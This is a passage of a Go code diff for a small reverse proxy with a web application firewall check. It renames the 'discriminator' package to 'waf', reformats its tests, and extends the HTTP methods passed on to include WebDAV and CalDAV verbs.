@@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if asked.method != http.MethodDelete || asked.target != target ||
|
if asked.method != http.MethodDelete || asked.target != target ||
|
||||||
asked.host != site {
|
asked.host != site {
|
||||||
t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
|
t.Errorf(
|
||||||
|
"asked about %s %s at %s",
|
||||||
|
asked.method,
|
||||||
|
asked.target,
|
||||||
|
asked.host,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked.header.Get(requestIDHeader) == "the-visitor's" {
|
if asked.header.Get(requestIDHeader) == "the-visitor's" {
|
||||||
@@ -68,11 +73,15 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
|||||||
want.Set(forwardedForHeader, "198.51.100.1")
|
want.Set(forwardedForHeader, "198.51.100.1")
|
||||||
want.Set(forwardedProtoHeader, "http")
|
want.Set(forwardedProtoHeader, "http")
|
||||||
want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
|
want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
|
||||||
want.Set(discriminator.ClientHeader, localhost)
|
want.Set(waf.ClientHeader, localhost)
|
||||||
want.Set(discriminator.PeerHeader, localhost)
|
want.Set(waf.PeerHeader, localhost)
|
||||||
|
|
||||||
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
||||||
t.Errorf("the question's headers are %v, want %v", asked.header, want)
|
t.Errorf(
|
||||||
|
"the question's headers are %v, want %v",
|
||||||
|
asked.header,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -93,16 +102,21 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
forwarded := make(chan http.Header, 1)
|
forwarded := make(chan http.Header, 1)
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||||
forwarded <- r.Header.Clone()
|
forwarded <- r.Header.Clone()
|
||||||
|
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
|
t,
|
||||||
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
trustedProxies: tc.trusted,
|
trustedProxies: tc.trusted,
|
||||||
})
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header.Set(forwardedForHeader, visitor)
|
req.Header.Set(forwardedForHeader, visitor)
|
||||||
@@ -110,8 +124,8 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if asked.header.Get(discriminator.ClientHeader) != tc.client ||
|
if asked.header.Get(waf.ClientHeader) != tc.client ||
|
||||||
asked.header.Get(discriminator.PeerHeader) != localhost ||
|
asked.header.Get(waf.PeerHeader) != localhost ||
|
||||||
asked.header.Get(forwardedForHeader) != visitor ||
|
asked.header.Get(forwardedForHeader) != visitor ||
|
||||||
asked.header.Get(forwardedProtoHeader) != tc.proto {
|
asked.header.Get(forwardedProtoHeader) != tc.proto {
|
||||||
t.Errorf("the question's headers are %v", asked.header)
|
t.Errorf("the question's headers are %v", asked.header)
|
||||||
@@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
|
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
|
||||||
t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
|
t.Errorf(
|
||||||
|
"the app saw %s %q, want %q",
|
||||||
|
forwardedForHeader,
|
||||||
|
got,
|
||||||
|
tc.forwarded,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -157,17 +176,22 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(
|
||||||
|
t,
|
||||||
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
trustedProxies: localhost + "/32,10.0.0.0/8",
|
trustedProxies: localhost + "/32,10.0.0.0/8",
|
||||||
})
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
req.Header[forwardedForHeader] = tc.header
|
req.Header[forwardedForHeader] = tc.header
|
||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
if got := standIn.question(t).header.Get(discriminator.ClientHeader); got !=
|
if got := standIn.question(t).header.Get(waf.ClientHeader); got !=
|
||||||
tc.client {
|
tc.client {
|
||||||
t.Errorf("the question names %s, want %s", got, tc.client)
|
t.Errorf("the question names %s, want %s", got, tc.client)
|
||||||
}
|
}
|
||||||
@@ -183,7 +207,7 @@ func randomBytes(n int) []byte {
|
|||||||
return body
|
return body
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
|
func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, size := range []int{
|
for _, size := range []int{
|
||||||
@@ -198,17 +222,26 @@ func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
body := randomBytes(size)
|
body := randomBytes(size)
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
received := make(chan []byte, 1)
|
received := make(chan []byte, 1)
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
app := startApp(
|
||||||
|
t,
|
||||||
|
func(w http.ResponseWriter, r *http.Request) {
|
||||||
whole, _ := io.ReadAll(r.Body)
|
whole, _ := io.ReadAll(r.Body)
|
||||||
received <- whole
|
received <- whole
|
||||||
|
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
},
|
||||||
|
)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
|
req := newRequest(
|
||||||
|
t,
|
||||||
|
http.MethodPost,
|
||||||
|
addr,
|
||||||
|
"/",
|
||||||
|
bytes.NewReader(body),
|
||||||
|
)
|
||||||
if !announced {
|
if !announced {
|
||||||
// Go's client sends a body of unknown length in chunks.
|
// Go's client sends a body of unknown length in chunks.
|
||||||
req.ContentLength = -1
|
req.ContentLength = -1
|
||||||
@@ -224,7 +257,9 @@ func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
|
|||||||
t.Error("the app did not get the whole body")
|
t.Error("the app did not get the whole body")
|
||||||
}
|
}
|
||||||
|
|
||||||
if report := standIn.report(t); report.RequestBytes != int64(size) {
|
if report := standIn.report(t); report.RequestBytes != int64(
|
||||||
|
size,
|
||||||
|
) {
|
||||||
t.Errorf("report %+v, of %d bytes", report, size)
|
t.Errorf("report %+v, of %d bytes", report, size)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -240,11 +275,14 @@ func wantQuestionBody(
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if !bytes.Equal(asked.body, want) {
|
if !bytes.Equal(asked.body, want) {
|
||||||
t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
|
t.Errorf(
|
||||||
len(want))
|
"the question carries %d bytes, want the first %d",
|
||||||
|
len(asked.body),
|
||||||
|
len(want),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
values := asked.header.Values(discriminator.ContentLengthHeader)
|
values := asked.header.Values(waf.ContentLengthHeader)
|
||||||
|
|
||||||
if announced {
|
if announced {
|
||||||
if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
|
if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
|
||||||
@@ -256,16 +294,20 @@ func wantQuestionBody(
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
|
if len(values) != 0 ||
|
||||||
t.Errorf("announced %v and encoded %v, want none and chunked", values,
|
!slices.Equal(asked.transferEncoding, []string{chunked}) {
|
||||||
asked.transferEncoding)
|
t.Errorf(
|
||||||
|
"announced %v and encoded %v, want none and chunked",
|
||||||
|
values,
|
||||||
|
asked.transferEncoding,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
@@ -276,7 +318,7 @@ func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
|||||||
strings.Repeat("x", questionBodyMaxBytes))
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||||
t.Errorf("status %d, want discriminator's 403", status)
|
t.Errorf("status %d, want waf's 403", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
|
if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
|
||||||
@@ -307,21 +349,30 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
t.Run(method+" "+tc.name, func(t *testing.T) {
|
t.Run(method+" "+tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
|
send(
|
||||||
|
t,
|
||||||
|
conn,
|
||||||
|
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
|
||||||
|
)
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||||
t.Errorf("status %d, want discriminator's 403", status)
|
t.Errorf("status %d, want waf's 403", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if string(asked.body) != tc.body ||
|
if string(asked.body) != tc.body ||
|
||||||
!slices.Equal(asked.transferEncoding, tc.encoding) {
|
!slices.Equal(asked.transferEncoding, tc.encoding) {
|
||||||
t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
|
t.Errorf(
|
||||||
asked.body, asked.transferEncoding, tc.body, tc.encoding)
|
"the question carries %q, encoded %v, want %q, encoded %v",
|
||||||
|
asked.body,
|
||||||
|
asked.transferEncoding,
|
||||||
|
tc.body,
|
||||||
|
tc.encoding,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -331,11 +382,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
|||||||
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, method := range []string{http.MethodTrace, "PROPFIND", "LOCK", "BREW"} {
|
for _, method := range []string{http.MethodTrace, "BREW"} {
|
||||||
t.Run(method, func(t *testing.T) {
|
t.Run(method, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
@@ -343,8 +394,15 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
|
|
||||||
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusMethodNotAllowed ||
|
if got.status != http.StatusMethodNotAllowed ||
|
||||||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY" {
|
got.header.Get(
|
||||||
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
|
"Allow",
|
||||||
|
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
|
||||||
|
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
|
||||||
|
"MKCALENDAR" {
|
||||||
|
t.Errorf(
|
||||||
|
"answered %+v, want 405 naming the methods passed on",
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
@@ -354,7 +412,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if len(standIn.questions) != 0 {
|
if len(standIn.questions) != 0 {
|
||||||
t.Error("discriminator was asked")
|
t.Error("waf was asked")
|
||||||
}
|
}
|
||||||
|
|
||||||
standIn.wantNoReport(t)
|
standIn.wantNoReport(t)
|
||||||
@@ -362,18 +420,20 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, method := range []string{
|
for _, method := range []string{
|
||||||
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
|
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
|
||||||
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
|
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
|
||||||
|
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
|
||||||
|
"LOCK", "UNLOCK", "MKCALENDAR",
|
||||||
} {
|
} {
|
||||||
t.Run(method, func(t *testing.T) {
|
t.Run(method, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
reached := make(chan string, 1)
|
reached := make(chan string, 1)
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||||
reached <- r.Method
|
reached <- r.Method
|
||||||
})
|
})
|
||||||
@@ -385,7 +445,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); asked.method != method {
|
if asked := standIn.question(t); asked.method != method {
|
||||||
t.Errorf("discriminator was asked about %s", asked.method)
|
t.Errorf("waf was asked about %s", asked.method)
|
||||||
}
|
}
|
||||||
|
|
||||||
if atApp := <-reached; atApp != method {
|
if atApp := <-reached; atApp != method {
|
||||||
@@ -395,7 +455,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const host = "Host: site.example\r\n\r\n"
|
const host = "Host: site.example\r\n\r\n"
|
||||||
@@ -417,7 +477,7 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
|||||||
t.Run(name, func(t *testing.T) {
|
t.Run(name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
@@ -435,7 +495,7 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if len(standIn.questions) != 0 {
|
if len(standIn.questions) != 0 {
|
||||||
t.Error("discriminator was asked")
|
t.Error("waf was asked")
|
||||||
}
|
}
|
||||||
|
|
||||||
standIn.wantNoReport(t)
|
standIn.wantNoReport(t)
|
||||||
@@ -443,12 +503,12 @@ func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAHostWithAPercentSignButNoBracketGoesToDiscriminator(t *testing.T) {
|
func TestAHostWithAPercentSignButNoBracketGoesToWAF(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const host = "a%b"
|
const host = "a%b"
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
@@ -469,7 +529,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
|
|||||||
|
|
||||||
const want = "http"
|
const want = "http"
|
||||||
|
|
||||||
standIn := startDiscriminator(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
trustedProxies: localhost + "/32",
|
trustedProxies: localhost + "/32",
|
||||||
@@ -479,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
|
|||||||
|
|
||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if got := asked.header.Get(forwardedProtoHeader); got != want {
|
if got := asked.header.Get(forwardedProtoHeader); got != want {
|
||||||
t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
|
t.Errorf(
|
||||||
|
"the question's %s is %q, want %s",
|
||||||
|
forwardedProtoHeader,
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -498,21 +563,31 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startDiscriminator(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
_, out, server := startServer(
|
||||||
|
t,
|
||||||
|
standIn.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
trustedProxies: localhost + "/32",
|
trustedProxies: localhost + "/32",
|
||||||
})
|
},
|
||||||
|
)
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
req := httptest.NewRequestWithContext(
|
||||||
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
"/",
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
req.RemoteAddr = tc.remoteAddr
|
req.RemoteAddr = tc.remoteAddr
|
||||||
req.Header.Set(forwardedForHeader, tc.forwardedFor)
|
req.Header.Set(forwardedForHeader, tc.forwardedFor)
|
||||||
|
|
||||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||||
|
|
||||||
asked := standIn.question(t)
|
asked := standIn.question(t)
|
||||||
if asked.header.Get(discriminator.ClientHeader) != tc.client ||
|
if asked.header.Get(waf.ClientHeader) != tc.client ||
|
||||||
asked.header.Get(discriminator.PeerHeader) != tc.peer {
|
asked.header.Get(waf.PeerHeader) != tc.peer {
|
||||||
t.Errorf("the question's headers are %v", asked.header)
|
t.Errorf("the question's headers are %v", asked.header)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+169
-75
@@ -16,22 +16,33 @@ import (
|
|||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
|
// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
|
||||||
// soon as it arrives.
|
// soon as it arrives.
|
||||||
const flushAfterEachWrite time.Duration = -1
|
const flushAfterEachWrite time.Duration = -1
|
||||||
|
|
||||||
// reportStatusMax is the highest status discriminator takes in a report. An app can
|
// reportStatusMax is the highest status waf takes in a report. An app can
|
||||||
// send a higher one, up to 999, and the visitor gets that as it is.
|
// send a higher one, up to 999, and the visitor gets that as it is.
|
||||||
const reportStatusMax = 599
|
const reportStatusMax = 599
|
||||||
|
|
||||||
// plainText is the Content-Type of the answers rproxy gives itself.
|
// plainText is the Content-Type of the answers rproxy gives itself.
|
||||||
const plainText = "text/plain; charset=utf-8"
|
const plainText = "text/plain; charset=utf-8"
|
||||||
|
|
||||||
|
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
||||||
|
// status and headers of the app's answer. A shorter time can run out before the
|
||||||
|
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out,
|
||||||
|
// and the visitor then gets a closed connection and no answer.
|
||||||
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
|
// SWRP_MAX_RESPONSE_TIME_MS has run out.
|
||||||
|
var errResponseTooLate = errors.New(
|
||||||
|
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out")
|
||||||
|
|
||||||
// request is one request on its way through rproxy, from the moment its headers
|
// request is one request on its way through rproxy, from the moment its headers
|
||||||
// have been read to its log line and report.
|
// have been read to its log line and report.
|
||||||
type request struct {
|
type request struct {
|
||||||
@@ -49,14 +60,14 @@ type request struct {
|
|||||||
peerTrusted bool
|
peerTrusted bool
|
||||||
start time.Time
|
start time.Time
|
||||||
|
|
||||||
// disposition is what is done with the request: discriminator's valid disposition,
|
// disposition is what is done with the request: waf's valid disposition,
|
||||||
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||||
disposition string
|
disposition string
|
||||||
// answered is true when discriminator gave disposition, which makes a report due,
|
// answered is true when waf gave disposition, which makes a report due,
|
||||||
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
|
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
|
||||||
answered bool
|
answered bool
|
||||||
byDefault bool
|
byDefault bool
|
||||||
// asn and country are discriminator's X-Client-ASN and X-Client-Country, for the
|
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||||
// app.
|
// app.
|
||||||
asn, country string
|
asn, country string
|
||||||
|
|
||||||
@@ -72,8 +83,8 @@ type request struct {
|
|||||||
upgraded *upgradedConn
|
upgraded *upgradedConn
|
||||||
|
|
||||||
// mu guards what follows. The time limits run on goroutines of their own,
|
// mu guards what follows. The time limits run on goroutines of their own,
|
||||||
// and the transport starts and stops them, and notes the times below, from
|
// and the transport starts and stops them, and notes requestEnd, from its
|
||||||
// its own; once timersStopped is set, neither time limit acts any more.
|
// own; once timersStopped is set, neither time limit acts any more.
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
timersStopped bool
|
timersStopped bool
|
||||||
requestTimer *time.Timer
|
requestTimer *time.Timer
|
||||||
@@ -81,13 +92,14 @@ type request struct {
|
|||||||
// requestEnd is when the app had been sent the whole request, or the answer
|
// requestEnd is when the app had been sent the whole request, or the answer
|
||||||
// started, if that was sooner.
|
// started, if that was sooner.
|
||||||
requestEnd time.Time
|
requestEnd time.Time
|
||||||
// answerStarted is when the first byte of the app's answer arrived.
|
|
||||||
answerStarted time.Time
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// newRequest starts handling r: it notes the time, works out the visitor from
|
// newRequest starts handling r: it notes the time, works out the visitor from
|
||||||
// the TCP peer and X-Forwarded-For, and makes the request's id.
|
// the TCP peer and X-Forwarded-For, and makes the request's id.
|
||||||
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
|
func (h *handler) newRequest(
|
||||||
|
w http.ResponseWriter,
|
||||||
|
r *http.Request,
|
||||||
|
) *request {
|
||||||
peer := peerAddress(r)
|
peer := peerAddress(r)
|
||||||
trusted := h.config.TrustedProxies
|
trusted := h.config.TrustedProxies
|
||||||
|
|
||||||
@@ -97,14 +109,21 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
|
|||||||
rc: http.NewResponseController(w),
|
rc: http.NewResponseController(w),
|
||||||
out: &responseWriter{ResponseWriter: w},
|
out: &responseWriter{ResponseWriter: w},
|
||||||
id: rand.Text(),
|
id: rand.Text(),
|
||||||
client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
|
client: clientAddress(
|
||||||
|
peer,
|
||||||
|
r.Header.Values("X-Forwarded-For"),
|
||||||
|
trusted,
|
||||||
|
),
|
||||||
peer: peer,
|
peer: peer,
|
||||||
peerTrusted: isInside(peer, trusted),
|
peerTrusted: isInside(peer, trusted),
|
||||||
start: time.Now(),
|
start: time.Now(),
|
||||||
}
|
}
|
||||||
|
|
||||||
if r.Body != http.NoBody {
|
if r.Body != http.NoBody {
|
||||||
rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
|
rq.body = &requestBody{
|
||||||
|
body: limitBody(r.Body, h.config.MaxRequestSize),
|
||||||
|
rq: rq,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return rq
|
return rq
|
||||||
@@ -122,14 +141,16 @@ func (rq *request) answerHealth() {
|
|||||||
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
||||||
// visitor that went away or stopped its sending side, the connection is closed
|
// visitor that went away or stopped its sending side, the connection is closed
|
||||||
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
|
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
|
||||||
// read, so that discriminator is asked first; passToApp then refuses it.
|
// read, so that waf is asked first; passToApp then refuses it.
|
||||||
func (rq *request) readFirstPartOfBody() bool {
|
func (rq *request) readFirstPartOfBody() bool {
|
||||||
if rq.body == nil {
|
if rq.body == nil {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
|
